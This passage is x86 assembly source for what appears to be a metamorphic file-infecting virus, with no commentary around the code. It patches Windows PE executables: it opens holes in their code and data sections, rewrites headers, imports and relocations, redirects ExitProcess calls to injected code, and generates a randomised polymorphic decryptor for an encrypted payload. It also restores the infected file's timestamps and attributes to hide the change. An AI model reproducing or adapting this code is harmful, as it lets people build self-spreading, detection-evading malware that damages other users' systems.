@@InsertExitProcess: mov edi, [ebp+Phys_TextHole] add edi, [ebp+MappingAddress] mov eax, 6Ah mov [edi], eax add edi, 2 mov eax, 15FFh mov [edi], eax add edi, 2 mov eax, [ebp+ExitProcessAddress] mov [edi], eax jmp @@Exit @@SizeOfDecryptorOK: mov esi, [ebp+AssembledDecryptor] mov edi, [ebp+Phys_TextHole] add edi, [ebp+MappingAddress] mov ecx, [ebp+SizeOfDecryptor] @@LoopCopyDecryptor: mov eax, [esi] mov [edi], eax add esi, 1 add edi, 1 dec ecx or ecx, ecx jnz @@LoopCopyDecryptor mov edx, 30h mov esi, [ebp+MaxSizeOfDecryptor] sub esi, [ebp+SizeOfDecryptor] and esi, 0FFFFFFFCh or esi, esi jz @@ContinueWithTheRest @@CheckAgainThePossibility: call Random and eax, 0FCh or eax, eax jz @@CheckAgainThePossibility sub edx, 1 cmp eax, esi jb @@FillRandomBytes or edx, edx jnz @@CheckAgainThePossibility jmp @@ContinueWithTheRest @@FillRandomBytes: mov ecx, eax @@LoopFillRandomBytes: call Random mov [edi], eax add edi, 4 sub ecx, 4 or ecx, ecx jnz @@LoopFillRandomBytes @@ContinueWithTheRest: mov edi, [ebp+MappingAddress] add edi, [ebp+Phys_DataHole] cmp edi, [ebp+MappingAddress] jz @@Exit mov edx, [ebp+TypeOfEncryption] mov ebx, [ebp+EncryptionKey] mov esi, [ebp+NewAssembledCode] mov ecx, [ebp+SizeOfNewCode] and ecx, 0FFFFFFFCh add ecx, 4 @@LoopEncryptCode: mov eax, [esi] or ebx, ebx jz @@NoEncryption or edx, edx jz @@ADDKey cmp edx, 1 jz @@SUBKey @@XORKey: xor eax, ebx jmp @@StoreDWORD @@ADDKey: add eax, ebx jmp @@StoreDWORD @@SUBKey: sub eax, ebx @@NoEncryption: @@StoreDWORD: mov [edi], eax add esi, 4 add edi, 4 sub ecx, 4 or ecx, ecx jnz @@LoopEncryptCode xor eax, eax mov [edi], eax @@Exit: mov ebx, [ebp+HeaderAddress] call Random and eax, 0FFFFFCh mov [ebx+58h], eax xor edi, edi jmp @@NoError @@Error4: call UndoChanges mov edi, 1 @@NoError: push eax push ecx push edx mov eax, [ebp+MappingAddress] push eax call dword ptr [ebp+RVA_UnmapViewOfFile] pop edx pop ecx pop eax jmp @@NoError3 @@Error3: mov edi, 1 @@NoError3: push eax push ecx push edx mov eax, [ebp+hMapping] push eax call dword ptr [ebp+RVA_CloseHandle] pop edx pop ecx pop eax jmp @@NoError2 @@Error2: mov edi, 1 @@NoError2: push eax push ecx push edx xor eax, eax push eax push eax or edi, edi jnz @@ThereWasAnError mov eax, [ebp+FileSize] jmp @@FixSize @@ThereWasAnError: mov eax, [ebp+OriginalFileSize] @@FixSize: push eax mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_SetFilePointer] pop edx pop ecx pop eax push eax push ecx push edx mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_SetEndOfFile] pop edx pop ecx pop eax @@DontFixSize: push eax push ecx push edx mov eax, [ebp+FindFileData] add eax, 14h push eax sub eax, 8 push eax sub eax, 8 push eax mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_SetFileTime] pop edx pop ecx pop eax push eax push ecx push edx mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_CloseHandle] pop edx pop ecx pop eax @@Error: push eax push ecx push edx mov eax, [ebp+FileAttributes] push eax mov eax, [ebp+Addr_FilePath] push eax call dword ptr [ebp+RVA_SetFileAttributesA] pop edx pop ecx pop eax @@Error_: ret TouchFile endp UpdateArrayOfRVAs proc or eax, eax jz @@UpdateArray_OK or edx, edx jz @@UpdateArray_OK push ebx mov ebx, eax call TranslateVirtualToPhysical mov eax, ebx pop ebx or eax, eax jz @@UpdateArray_Updated01 @@UpdateArrayLoop_01: cmp [eax], edi jb @@UpdateArray_Updated01 add [eax], ecx @@UpdateArray_Updated01: add eax, 4 dec edx or edx, edx jnz @@UpdateArrayLoop_01 @@UpdateArray_OK: ret UpdateArrayOfRVAs endp UpdateHeaders proc push ecx mov eax, [ebp+MakingFirstHole] or eax, eax jz @@MakingDataHole mov eax, [esi+10h] cmp eax, [esi+08h] jbe @@TextSizeOK mov [esi+08h], eax @@TextSizeOK: mov edi, [esi+0Ch] add edi, [esi+10h] push edi mov eax, [esi+14h] add eax, [esi+10h] push eax jmp @@BeginUpdates @@MakingDataHole: mov edi, [esi+0Ch] push edi mov eax, [esi+14h] push eax @@BeginUpdates: @@UpdateResources: mov eax, [ebp+HeaderAddress] mov ebx, [eax+88h] or ebx, ebx jz @@UpdateImports call TranslateVirtualToPhysical or ebx, ebx jz @@End mov eax, [ebx+0Ch] and eax, 0FFFFh mov edx, [ebx+0Eh] and edx, 0FFFFh add edx, eax or edx, edx jz @@UpdateImports mov eax, ebx add eax, 10h call UpdateResourceDir @@UpdateImports: call UpdateImports mov eax, [ebp+GetModuleHandleAddress] or eax, eax jz @@End mov eax, [ebp+GetProcAddressAddress] or eax, eax jz @@End mov eax, [ebp+ExitProcessAddress] or eax, eax jz @@End @@UpdateExports: mov eax, [ebp+HeaderAddress] mov ebx, [eax+78h] or ebx, ebx jz @@ExportsUpdated call TranslateVirtualToPhysical or ebx, ebx jz @@ExportsUpdated mov eax, [ebx+0Ch] cmp eax, edi jb @@UpdateExportsOK_01 add [ebx+0Ch], ecx @@UpdateExportsOK_01: mov eax, [ebx+1Ch] mov edx, [ebx+14h] call UpdateArrayOfRVAs mov eax, [ebx+1Ch] cmp eax, edi jb @@UpdateExportsOK_02 add [ebx+1Ch], ecx @@UpdateExportsOK_02: mov eax, [ebx+20h] mov edx, [ebx+18h] call UpdateArrayOfRVAs mov eax, [ebx+20h] cmp eax, edi jb @@UpdateExportsOK_03 add [ebx+20h], ecx @@UpdateExportsOK_03: @@ExportsUpdated: @@UpdateCodeSection: push esi mov eax, [ebp+RelocHeader] mov eax, [eax+14h] add eax, [ebp+MappingAddress] @@LoopUpdate_00: mov esi, [eax] or esi, esi jz @@AllUpdated mov edx, 8 @@LoopUpdate_01: cmp edx, [eax+4] jae @@PageUpdated add eax, edx mov ebx, [eax] sub eax, edx and ebx, 0FFFFh add edx, 2 cmp ebx, 2FFFh jbe @@LoopUpdate_01 and ebx, 0FFFh add ebx, [eax] mov esi, [ebp+MakingFirstHole] or esi, esi jnz @@UpdateCodeSec_Cont00 cmp ebx, [ebp+RVA_TextHole] jb @@UpdateCodeSec_Cont00 add ebx, [ebp+TextHoleSize] @@UpdateCodeSec_Cont00: call TranslateVirtualToPhysical or ebx, ebx jz @@LoopUpdate_01 push eax push edx mov eax, [ebp+HeaderAddress] mov edx, [ebx] sub edx, [eax+34h] cmp edx, edi jb @@TranslateOK_02 add [ebx], ecx add edx, ecx @@TranslateOK_02: mov esi, [ebx-2] and esi, 0FFFFh cmp esi, 15FFh jz @@CheckExitProcess cmp esi, 25FFh jnz @@ItsNotExitProcess @@CheckExitProcess: cmp edx, [ebp+ExitProcessAddress] jnz @@ItsNotExitProcess mov edx, [ebp+HeaderAddress] mov edx, [edx+34h] add edx, edi push esi mov esi, ebx call PatchExitProcess pop esi xor eax, eax pop edx pop eax push eax add eax, edx push edx mov edx, [eax-2] and edx, 0FFFF0000h mov [eax-2], edx pop edx pop eax jmp @@LoopUpdate_01 @@ItsNotExitProcess: @@TranslateOK: pop edx pop eax jmp @@LoopUpdate_01 @@PageUpdated: add eax, [eax+4] jmp @@LoopUpdate_00 @@AllUpdated: pop esi mov eax, [ebp+MakingFirstHole] mov ebx, [ebp+HeaderAddress] cmp [ebx+0Ch], edi jb @@Fixed_01 or eax, eax jnz @@NotFixed_01 cmp [ebx+0Ch], edi jz @@Fixed_01 @@NotFixed_01: add [ebx+0Ch], ecx @@Fixed_01: cmp [ebx+28h], edi jb @@Fixed_02 or eax, eax jnz @@NotFixed_02 cmp [ebx+28h], edi jz @@Fixed_02 @@NotFixed_02: add [ebx+28h], ecx @@Fixed_02: cmp [ebx+2Ch], edi jb @@Fixed_03 or eax, eax jnz @@NotFixed_03 cmp [ebx+2Ch], edi jz @@Fixed_03 @@NotFixed_03: add [ebx+2Ch], ecx @@Fixed_03: cmp [ebx+30h], edi jb @@Fixed_04 or eax, eax jnz @@NotFixed_04 cmp [ebx+30h], edi jz @@Fixed_04 @@NotFixed_04: add [ebx+30h], ecx @@Fixed_04: add [ebx+50h], ecx mov edx, [ebp+HeaderAddress] mov edx, [edx+74h] mov ebx, [ebp+HeaderAddress] add ebx, 78h xor eax, eax @@LoopDir_01: cmp eax, 4 jz @@NextDir_01 cmp [ebx], edi jb @@NextDir_01 add [ebx], ecx @@NextDir_01: add ebx, 8 inc eax dec edx or edx, edx jnz @@LoopDir_01 mov edx, [ebp+StartOfSectionHeaders] mov ebx, [esi+14h] mov eax, [ebp+MakingFirstHole] or eax, eax jz @@MakingDataHole_2 @@MakingCodeHole_2: add ebx, [esi+10h] @@MakingDataHole_2: mov eax, [ebp+HeaderAddress] mov eax, [eax+6] and eax, 0FFFFh push esi mov esi, [ebp+MakingFirstHole] @@LoopUpdate_02: push eax mov eax, [edx+14h] cmp eax, ebx jb @@NextSection_00 or esi, esi jnz @@NextSection_00_ cmp eax, ebx jz @@NextSection_00 @@NextSection_00_: add eax, ecx mov [edx+14h], eax @@NextSection_00: mov eax, [edx+0Ch] cmp eax, edi jb @@NextSection_01 or esi, esi jnz @@NextSection_01_ cmp eax, edi jz @@NextSection_01 @@NextSection_01_: add eax, ecx mov [edx+0Ch], eax @@NextSection_01: pop eax add edx, 28h dec eax or eax, eax jnz @@LoopUpdate_02 pop esi add [esi+08h], ecx add [esi+10h], ecx cmp esi, [ebp+RelocHeader] jz @@End push ecx push ebx mov edx, [ebp+MappingAddress] add edx, [ebp+FileSize] sub edx, 4 mov edi, edx add edi, ecx pop ecx add ecx, [ebp+MappingAddress] @@Again: mov eax, [edx] mov [edi], eax sub edx, 4 sub edi, 4 cmp edx, ecx jae @@Again pop ecx and ecx, 0FFFFFFFCh shr ecx, 2 add edx, 4 @@Again2: call Random and eax, 0FCh mov [edx], eax add edx, 4 dec ecx or ecx, ecx jnz @@Again2 @@End: pop eax pop edi mov ecx, 0 pop ecx ret UpdateHeaders endp UpdateResourceDir proc @@UpdateResourceDir2: push eax mov eax, [eax+4] and eax, 80000000h or eax, eax jz @@UpdateData pop eax push eax mov eax, [eax+4] and eax, 7FFFFFFFh add eax, ebx push edx push eax mov edx, [eax+0Ch] and edx, 0FFFFh mov eax, [eax+0Eh] and eax, 0FFFFh add edx, eax pop eax add eax, 10h call @@UpdateResourceDir2 pop edx jmp @@NextDir @@UpdateData: pop eax push eax mov eax, [eax+4] add eax, ebx mov eax, [eax] cmp eax, edi jb @@UpdateOK pop eax push eax mov eax, [eax+4] add eax, ebx push ebx mov ebx, eax call AddUndoAction pop ebx add [eax], ecx @@UpdateOK: @@NextDir: pop eax add eax, 8 dec edx or edx, edx jnz @@UpdateResourceDir2 ret UpdateResourceDir endp TranslateVirtualToPhysical proc push ecx or ebx, ebx jz @@Error mov ecx, [ebp+HeaderAddress] mov ecx, [ecx+6] and ecx, 0FFFFh push edx mov edx, [ebp+StartOfSectionHeaders] push eax @@LoopSection: mov eax, [edx+0Ch] cmp ebx, eax jb @@NextSection add eax, [edx+10h] cmp ebx, eax jae @@NextSection sub ebx, [edx+0Ch] add ebx, [edx+14h] pop eax pop edx add ebx, [ebp+MappingAddress] pop ecx ret @@NextSection: add edx, 28h dec ecx or ecx, ecx jnz @@LoopSection pop eax pop edx @@Error: xor ebx, ebx pop ecx ret TranslateVirtualToPhysical endp UpdateImports proc push esi mov eax, [ebp+HeaderAddress] mov ebx, [eax+80h] or ebx, ebx jz @@ImportsUpdated call TranslateVirtualToPhysical or ebx, ebx jz @@ImportsUpdated @@UpdateImports_Loop00: mov eax, [ebx+0Ch] or eax, eax jz @@ImportsUpdated cmp eax, edi jb @@UpdateImportsOK_01 add ebx, 0Ch call AddUndoAction add [ebx], ecx sub ebx, 0Ch @@UpdateImportsOK_01: push ebx xor ebx, ebx mov [ebp+Kernel32Imports], ebx mov ebx, eax call TranslateVirtualToPhysical or ebx, ebx jz @@UpdateImports_Next00 mov eax, [ebx] and eax, 1F1F1F1Fh cmp eax, 'nrek' AND 1F1F1F1Fh jnz @@UpdateImports_Next00 mov eax, [ebx+4] and eax, 0FFFF1F1Fh cmp eax, '23le' AND 0FFFF1F1Fh jnz @@UpdateImports_Next00 mov eax, 1 mov [ebp+Kernel32Imports], eax @@UpdateImports_Next00: pop ebx mov eax, [ebx] or eax, eax jz @@UpdateImportsOK_04 push ebx mov ebx, eax call TranslateVirtualToPhysical mov eax, ebx pop ebx or eax, eax jz @@UpdateImportsOK_04 @@UpdateImports_Loop01: mov edx, [eax] or edx, edx jz @@UpdateImportsOK_02 cmp edx, 80000000h jae @@UpdateImports_UpdatedOK mov esi, [ebp+Kernel32Imports] or esi, esi jz @@UpdateImports_NotKernel32 push ebx mov ebx, edx call TranslateVirtualToPhysical or ebx, ebx jz @@UpdateImports_UnknownFunction mov esi, [ebx+2] cmp esi, 'tixE' jz @@UpdateImports_ExitProcess00 cmp esi, 'MteG' jz @@UpdateImports_GetModuleHandle00 cmp esi, 'PteG' jz @@UpdateImports_GetProcAddress00 cmp esi, 'triV' jnz @@UpdateImports_UnknownFunction @@UpdateImports_VirtualAlloc: mov esi, [ebx+0Bh] cmp esi, 'loc' jnz @@UpdateImports_UnknownFunction xor esi, esi jmp @@UpdateImports_SaveFunctionAddress @@UpdateImports_GetProcAddress00: mov esi, [ebx+6] cmp esi, 'Acor' jnz @@UpdateImports_UnknownFunction mov esi, 1 jmp @@UpdateImports_SaveFunctionAddress @@UpdateImports_ExitProcess00: mov esi, [ebx+6] cmp esi, 'corP' jnz @@UpdateImports_UnknownFunction mov esi, 2 jmp @@UpdateImports_SaveFunctionAddress @@UpdateImports_GetModuleHandle00: mov esi, [ebx+0Ah] cmp esi, 'naHe' jnz @@UpdateImports_UnknownFunction mov esi, [ebx+0Eh] cmp esi, 'Aeld' jz @@UpdateImports_GetModuleHandleAFound cmp esi, 'Weld' jnz @@UpdateImports_UnknownFunction mov esi, 1 jmp @@UpdateImports_GetModuleHandleFound @@UpdateImports_GetModuleHandleAFound: xor esi, esi @@UpdateImports_GetModuleHandleFound: mov [ebp+GetModuleHandleMode], esi mov esi, 3 @@UpdateImports_SaveFunctionAddress: pop ebx push ebx push eax push ebx mov ebx, [ebx] call TranslateVirtualToPhysical sub eax, ebx pop ebx add eax, [ebx+10h] cmp eax, edi jb @@UpdateImports_SetFunctionAddress add eax, ecx @@UpdateImports_SetFunctionAddress: or esi, esi jz @@UpdateImports_SetVirtualAlloc cmp esi, 1 jz @@UpdateImports_SetGetProcAddress cmp esi, 2 jz @@UpdateImports_SetExitProcess @@UpdateImports_SetGetModuleHandle: mov [ebp+GetModuleHandleAddress], eax jmp @@UpdateImports_FunctionSet @@UpdateImports_SetVirtualAlloc: mov [ebp+VirtualAllocAddress], eax jmp @@UpdateImports_FunctionSet @@UpdateImports_SetGetProcAddress: mov [ebp+GetProcAddressAddress], eax jmp @@UpdateImports_FunctionSet @@UpdateImports_SetExitProcess: mov [ebp+ExitProcessAddress], eax @@UpdateImports_FunctionSet: pop eax @@UpdateImports_UnknownFunction: @@UpdateImports_Continue00: pop ebx @@UpdateImports_NotKernel32: cmp edx, edi jb @@UpdateImports_UpdatedOK push ebx mov ebx, eax call AddUndoAction pop ebx add [eax], ecx @@UpdateImports_UpdatedOK: add eax, 4 jmp @@UpdateImports_Loop01 @@UpdateImportsOK_02: mov eax, [ebx] cmp eax, edi jb @@UpdateImportsOK_03 call AddUndoAction add [ebx], ecx @@UpdateImportsOK_03: add ebx, 10h mov eax, [ebx] cmp eax, edi jb @@UpdateImportsOK_04_ call AddUndoAction add eax, ecx mov [ebx], eax sub eax, ecx @@UpdateImportsOK_04_: sub ebx, 10h @@UpdateImportsOK_04: add ebx, 14h jmp @@UpdateImports_Loop00 @@ImportsUpdated: pop esi ret UpdateImports endp PatchExitProcess proc push eax mov eax, 1 call Random and eax, 1 jz @@PUSHRET @@IndirectDisplacement: push ecx mov eax, [ebp+TextHeader] mov ecx, [eax+10h] mov eax, [eax+14h] add eax, [ebp+MappingAddress] push edx sub ecx, 4 @@LoopFindHole: sub ecx, 1 or ecx, ecx jz @@NotFound mov edx, [eax] cmp edx, 0CCCCCCCCh jz @@HoleFound add eax, 1 jmp @@LoopFindHole @@NotFound: pop edx pop ecx jmp @@PUSHRET @@HoleFound: pop edx mov [eax], edx mov ecx, [esi+4] and ecx, 0FFh cmp ecx, 0C3h jz @@RetInserted sub eax, [ebp+MappingAddress] mov ecx, [ebp+TextHeader] sub eax, [ecx+14h] add eax, [ecx+0Ch] mov ecx, [ebp+HeaderAddress] add eax, [ecx+34h] mov [esi], eax mov eax, 25h mov [esi-1], al pop ecx jmp @@Return @@RetInserted: mov eax, 35h mov [esi-1], al pop ecx jmp @@Return @@PUSHRET: mov eax, 68h mov [esi-2], eax mov [esi-1], edx mov eax, 0C3h mov [esi+3], al @@Return: pop eax ret PatchExitProcess endp AddUndoAction proc push edx mov edx, [ebp+MakingFirstHole] or edx, edx jz @@Return push eax mov edx, [ebp+NumberOfUndoActions] add edx, [ebp+OtherBuffers] mov [edx], ebx mov eax, [ebx] mov [edx+4], eax add edx, 8 sub edx, [ebp+OtherBuffers] mov [ebp+NumberOfUndoActions], edx pop eax @@Return: pop edx ret AddUndoAction endp UndoChanges proc mov edx, [ebp+NumberOfUndoActions] or edx, edx jz @@Ret mov ecx, edx sub edx, 8 add edx, [ebp+OtherBuffers] @@Loop01: mov ebx, [edx] mov eax, [edx+4] mov [ebx], eax sub edx, 8 sub ecx, 8 or ecx, ecx jnz @@Loop01 @@Ret: ret UndoChanges endp APICall_GetModuleHandle proc mov eax, [ebp+FlagAorW] or eax, eax jz @@UseGMHA mov ebx, edx add ebx, 20h mov ebx, edx add ecx, 10h @@LoopConvertToWideChar: mov eax, [ecx] and eax, 0FFh mov [ebx], eax sub ecx, 1 sub ebx, 2 cmp ecx, edx jnz @@LoopConvertToWideChar @@UseGMHA: push edx call dword ptr [ebp+RVA_GetModuleHandle] mov [ebp+ReturnValue], eax ret APICall_GetModuleHandle endp GetFunction proc push eax push ecx push edx mov eax, edx push eax mov eax, edi push eax call dword ptr [ebp+RVA_GetProcAddress] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] ret GetFunction endp ;---------------------------------------------------------------------------------------- MakeDecryptor proc mov [ebp+InstructionTable], edi xor eax, eax mov [ebp+NumberOfLabels], eax mov [ebp+NumberOfVariables], eax mov eax, edi add eax, 80000h mov [ebp+ExpansionResult], eax mov eax, [ebp+RVA_DataHole] mov ecx, [ebp+HeaderAddress] add eax, [ecx+34h] mov [ebp+StartOfEncryptedData], eax mov edx, [ebp+RelocHeader] or edx, edx jnz @@SetDataAtEndOfCryptedCode mov ecx, [ebp+DataHeader] mov edx, [ebp+HeaderAddress] call Random and eax, 0Fh add eax, [ecx+0Ch] add eax, [edx+34h] jmp @@SetDecryptorDataSection @@SetDataAtEndOfCryptedCode: add eax, [ebp+SizeOfNewCode] and eax, 0FFFFFFFCh add eax, 4 @@SetDecryptorDataSection: mov [ebp+Decryptor_DATA_SECTION], eax mov eax, 1 mov [ebp+CreatingADecryptor], eax call Poly_MakeRandomExecution mov eax, [ebp+VirtualAllocAddress] or eax, eax jnz @@VirtualAllocAlreadyImported mov eax, [ebp+GetModuleHandleMode] or eax, eax jnz @@GetModuleHandleUNICODE @@GetModuleHandleASCII: call Random and eax, 20202020h add eax, 'NREK' mov [ebp+Poly_FirstPartOfFunction], eax call Random and eax, 00002020h add eax, '23LE' mov [ebp+Poly_SecondPartOfFunction], eax mov eax, 2 call Random and eax, 1 jz @@DontSetExtension0 call Random and eax, 20202000h add eax, 'LLD.' @@DontSetExtension0: mov [ebp+Poly_ThirdPartOfFunction], eax xor eax, eax mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName jmp @@NameOfModuleInitialized @@GetModuleHandleUNICODE: call Random and eax, 00200020h add eax, 0045004Bh mov [ebp+Poly_FirstPartOfFunction], eax call Random and eax, 00200020h add eax, 004E0052h mov [ebp+Poly_SecondPartOfFunction], eax call Random and eax, 00200020h add eax, 004C0045h mov [ebp+Poly_ThirdPartOfFunction], eax xor eax, eax mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName mov eax, 00320033h mov [ebp+Poly_FirstPartOfFunction], eax mov eax, 2 call Random and eax, 1 jz @@DontSetExtension1 call Random and eax, 00200000h add eax, 0044002Eh @@DontSetExtension1: mov [ebp+Poly_SecondPartOfFunction], eax or eax, eax jz @@DontSetExtension2 call Random and eax, 00200020h add eax, 004C004Ch @@DontSetExtension2: mov [ebp+Poly_ThirdPartOfFunction], eax mov eax, 0Ch mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName @@NameOfModuleInitialized: call Poly_SelectThreeRegisters mov edx, [ebp+Decryptor_DATA_SECTION] mov ecx, [ebp+BufferRegister] call Poly_DoMOVRegValue mov ecx, [ebp+BufferRegister] call Poly_DoPUSHReg mov ecx, [ebp+GetModuleHandleAddress] call Poly_DoCALLMem mov eax, 0F6h mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] add eax, 10h mov [edi+3], eax add edi, 10h mov eax, 'triV' mov [ebp+Poly_FirstPartOfFunction], eax mov eax, 'Alau' mov [ebp+Poly_SecondPartOfFunction], eax mov eax, 'coll' mov [ebp+Poly_ThirdPartOfFunction], eax xor eax, eax mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName call Poly_SelectThreeRegisters mov edx, [ebp+Decryptor_DATA_SECTION] mov ecx, [ebp+BufferRegister] call Poly_DoMOVRegValue mov ecx, [ebp+BufferRegister] call Poly_DoPUSHReg call Poly_SelectThreeRegisters mov ecx, [ebp+IndexRegister] mov ebx, 10h call Poly_DoMOVRegMem mov ecx, [ebp+IndexRegister] call Poly_DoPUSHReg mov ecx, [ebp+GetProcAddressAddress] call Poly_DoCALLMem mov eax, 0F6h mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] add eax, 10h mov [edi+3], eax add edi, 10h mov [ebp+VirtualAllocAddress], eax @@VirtualAllocAlreadyImported: mov eax, 8 mov [ebp+BufferRegister], eax mov [ebp+CounterRegister], eax mov [ebp+IndexRegister], eax mov edx, 4 call Poly_DoPUSHValue mov edx, 1000h call Poly_DoPUSHValue call Random and eax, 01F000h mov edx, 350000h add edx, eax call Poly_DoPUSHValue xor edx, edx call Poly_DoPUSHValue mov ecx, [ebp+VirtualAllocAddress] call Poly_DoCALLMem mov eax, 0F6h mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] mov [edi+3], eax add edi, 10h call Poly_SelectThreeRegisters mov ecx, [ebp+IndexRegister] xor ebx, ebx call Poly_DoMOVRegMem mov ecx, [ebp+IndexRegister] call Poly_MakeCheckWith0 mov eax, 74h mov [edi], eax mov [ebp+Poly_Jump_ErrorInVirtualAlloc], edi add edi, 10h mov ecx, [ebp+IndexRegister] mov edx, [ebp+New_CODE_SECTION] call Poly_DoADDRegValue mov ecx, [ebp+IndexRegister] mov ebx, 10h call Poly_DoMOVMemReg call Random and eax, 0FC000000h mov edx, [ebp+New_DISASM2_SECTION] add edx, eax call Poly_DoPUSHValue call Random and eax, 0FC000000h mov edx, [ebp+New_DATA_SECTION] add edx, eax call Poly_DoPUSHValue call Random and eax, 0FC000000h mov edx, [ebp+New_BUFFERS_SECTION] add edx, eax call Poly_DoPUSHValue call Random and eax, 0FC000000h mov edx, [ebp+New_DISASM_SECTION] add edx, eax call Poly_DoPUSHValue call Random and eax, 0FC000000h mov edx, [ebp+New_CODE_SECTION] add edx, eax call Poly_DoPUSHValue mov edx, [ebp+GetProcAddressAddress] call Poly_DoPUSHValue mov edx, [ebp+GetModuleHandleAddress] call Poly_DoPUSHValue mov edx, [ebp+TranslatedDeltaRegister] shl edx, 1 mov eax, [ebp+GetModuleHandleMode] add edx, eax call Poly_DoPUSHValue call Random mov ebx, [ebp+SizeOfNewCodeP2] sub ebx, 4 and eax, ebx mov [ebp+Poly_InitialValue], eax mov [ebp+CounterValue], eax call Random sub ebx, 4 and eax, ebx mov [ebp+Poly_Addition], eax call Random mov ebx, [ebp+SizeOfNewCodeP2] sub ebx, 4 and eax, ebx mov [ebp+IndexValue], eax call Random mov [ebp+BufferValue], eax call Poly_SelectThreeRegisters call Poly_SetValueToRegisters call Poly_InsertLabel mov [ebp+Poly_LoopLabel], eax mov ecx, [ebp+IndexRegister] call Poly_DoPUSHReg mov ecx, [ebp+IndexRegister] mov edx, [ebp+CounterRegister] call Poly_DoXORRegReg mov eax, 38h mov [edi], eax mov eax, [ebp+IndexRegister] mov [edi+1], eax mov eax, [ebp+SizeOfNewCode] and eax, 0FFFFFFFCh add eax, 4 mov [edi+7], eax add edi, 10h mov eax, 73h mov [edi], eax mov [ebp+Poly_ExcessJumpInstruction], edi add edi, 10h mov eax, 42h mov [edi], eax mov eax, [ebp+IndexRegister] add eax, 0800h mov [edi+1], eax mov eax, [ebp+StartOfEncryptedData] mov [edi+3], eax mov eax, [ebp+BufferRegister] mov [edi+7], eax add edi, 10h mov eax, 3 call Random and eax, 7 jz @@NoEncryption call Random @@NoEncryption: mov [ebp+EncryptionKey], eax mov ecx, eax or ecx, ecx jz @@DontMakeDecryption xor eax, eax call Random and eax, 1 jz @@MethodXOR_prev mov eax, 1 call Random and eax, 1 jz @@MethodXOR_prev jmp @@SetMethod @@MethodXOR_prev: mov eax, 2 @@SetMethod: mov [ebp+TypeOfEncryption], eax mov ecx, [ebp+EncryptionKey] or eax, eax jz @@MethodADD cmp eax, 1 jz @@MethodSUB @@MethodXOR: mov eax, 30h jmp @@MakeDecryption @@MethodADD: neg ecx @@MethodSUB: xor eax, eax @@MakeDecryption: mov [edi], eax mov eax, [ebp+BufferRegister] mov [edi+1], eax mov [edi+7], ecx add edi, 10h @@DontMakeDecryption: mov eax, 02h mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] add eax, 10h mov [edi+3], eax mov eax, [ebp+IndexRegister] mov [edi+7], eax add edi, 10h mov eax, 43h mov [edi], eax mov eax, [ebp+IndexRegister] add eax, 0800h mov [edi+1], eax xor eax, eax mov [edi+3], eax mov eax, [ebp+BufferRegister] mov [edi+7], eax add edi, 10h call Poly_InsertLabel mov ebx, [ebp+Poly_ExcessJumpInstruction] mov [ebx+1], eax mov ecx, [ebp+IndexRegister] call Poly_DoPOPReg call Random and eax, 1 jz @@AddIndexFirst @@AddCounterFirst: call Poly_ModifyCounter @@C_SelectAnotherSequence: call Random and eax, 3 or eax, eax jz @@C_SelectAnotherSequence push eax cmp eax, 1 jnz @@AddCounterFirst_Next00 call Poly_MaskCounter @@AddCounterFirst_Next00: call Poly_ModifyIndex pop eax push eax cmp eax, 2 jnz @@AddCounterFirst_Next01 call Poly_MaskCounter @@AddCounterFirst_Next01: call Poly_MaskIndex pop eax cmp eax, 3 jnz @@AddCounterFirst_Next02 call Poly_MaskCounter @@AddCounterFirst_Next02: jmp @@ModificationMade @@AddIndexFirst: call Poly_ModifyIndex @@I_SelectAnotherSequence: call Random and eax, 3 or eax, eax jz @@I_SelectAnotherSequence push eax cmp eax, 1 jnz @@AddIndexFirst_Next00 call Poly_MaskIndex @@AddIndexFirst_Next00: call Poly_ModifyCounter pop eax push eax cmp eax, 2 jnz @@AddIndexFirst_Next01 call Poly_MaskIndex @@AddIndexFirst_Next01: call Poly_MaskCounter pop eax cmp eax, 3 jnz @@AddIndexFirst_Next02 call Poly_MaskIndex @@AddIndexFirst_Next02: @@ModificationMade: mov eax, 38h mov [edi], eax mov eax, [ebp+CounterRegister] mov [edi+1], eax mov eax, [ebp+Poly_InitialValue] mov [edi+7], eax add edi, 10h mov eax, 75h mov [edi], eax mov eax, [ebp+Poly_LoopLabel] mov [edi+1], eax add edi, 10h mov eax, 8 mov [ebp+CounterRegister], eax mov [ebp+BufferRegister], eax mov ecx, [ebp+DeltaRegister] mov [ebp+IndexRegister], ecx xor ebx, ebx call Poly_DoMOVRegMem mov ecx, [ebp+Decryptor_DATA_SECTION] add ecx, 10h call Poly_DoCALLMem call Poly_InsertLabel mov edx, [ebp+Poly_Jump_ErrorInVirtualAlloc] mov [edx+1], eax mov edx, [ebp+Poly_JumpRandomExecution] or edx, edx jz @@DontSetJump mov [edx+1], eax @@DontSetJump: call Poly_SelectThreeRegisters xor edx, edx call Poly_DoPUSHValue mov ecx, [ebp+ExitProcessAddress] call Poly_DoCALLMem mov ebx, [ebp+VarMarksTable] mov ecx, 2000h xor eax, eax @@LoopClearMarks: mov [ebx], eax add ebx, 4 sub ecx, 4 or ecx, ecx jnz @@LoopClearMarks mov [ebp+AddressOfLastInstruction], edi mov eax, [ebp+OtherBuffers] mov [ebp+JumpsTable], eax add eax, 8000h mov [ebp+FramesTable], eax mov eax, [ebp+NewAssembledCode] push eax mov eax, [ebp+TranslatedDeltaRegister] push eax call XpandCode mov eax, [ebp+InstructionTable] mov [ebp+NewAssembledCode], eax mov eax, [ebp+ExpansionResult] mov [ebp+InstructionTable], eax mov eax, [ebp+SizeOfNewCode] push eax mov eax, [ebp+RoundedSizeOfNewCode] push eax mov eax, [ebp+SizeOfNewCodeP2] push eax call AssembleCode mov eax, [ebp+SizeOfNewCode] mov [ebp+SizeOfDecryptor], eax mov eax, [ebp+NewAssembledCode] mov [ebp+AssembledDecryptor], eax pop eax mov 